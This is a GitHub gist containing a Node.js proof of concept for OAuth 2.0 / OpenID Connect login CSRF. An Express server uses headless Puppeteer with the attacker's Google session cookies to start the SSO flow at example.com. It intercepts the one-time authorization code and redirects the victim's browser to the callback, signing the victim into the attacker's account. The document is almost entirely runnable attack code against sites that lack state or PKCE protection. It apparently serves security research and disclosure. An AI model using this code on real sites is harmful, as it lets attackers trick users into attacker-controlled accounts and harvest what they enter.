Skip to content

Instantly share code, notes, and snippets.

@lauritzh
Created May 9, 2023 08:22
Show Gist options
  • Save lauritzh/90d68c0b68652882648e0ca9b8b6683e to your computer and use it in GitHub Desktop.
Save lauritzh/90d68c0b68652882648e0ca9b8b6683e to your computer and use it in GitHub Desktop.
OAuth 2.0 / OpenID Connect 1.0 SSO Login CSRF PoC. Authenticates a victim user into an attacker-controlled account at example.com. Requires the target to insecurely implement a Google SSO login using the Authorization Code Grant Type and without any CSRF protection ("state", PKCE).
//
// Headless SSO Login CSRF PoC
// (c) Lauritz Holtmann, 2023
//
const pt = require('puppeteer')
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
res.send('Lauritz')
})
app.get('/poc', async (req, res) => {
console.log("Starting PoC");
// TODO: Replace with your own cookies (browse accounts.google.com and copy cookies from developer console)
const cookies = [
{name: 'SID', value: 'Uw[...]', domain: 'accounts.google.com'},
{name: '__Secure-3PSID', value: 'Uw[...]', domain: 'accounts.google.com', secure: true},
{name: 'LSID', value: 'o.mail.google.com|o.myaccount.google.com|o.play.google.com|s.DE:[...]', domain: 'accounts.google.com'},
];
// Init: Start the browser
const browser = await pt.launch({headless: true});
const page = await browser.newPage();
await page.setCookie(...cookies);
await page.setRequestInterception(true);
// Intercept the redirect to the callback URL -> The "code" parameter can only be used once
// Therefore, we need to intercept the redirect and return it to the client (i.e. the victim browser)
page.on("request", async request => {
if(request.url().startsWith("https://example.com/callback")) {
console.log("Redirected to: " + request.url());
request.abort();
// CSRF: Respond with a redirect to the callback URL => Victim user is authenticated using the attacker account
res.redirect(request.url());
return;
}
request.continue();
});
// Start the SSO Login Flow: The following URL results in a SSO flow being initiated
console.log("Navigate to URL");
await page.goto('https://example.com/login/google');
await page.waitForNavigation({waitUntil: 'networkidle0'});
await browser.close();
console.log("Done");
});
app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment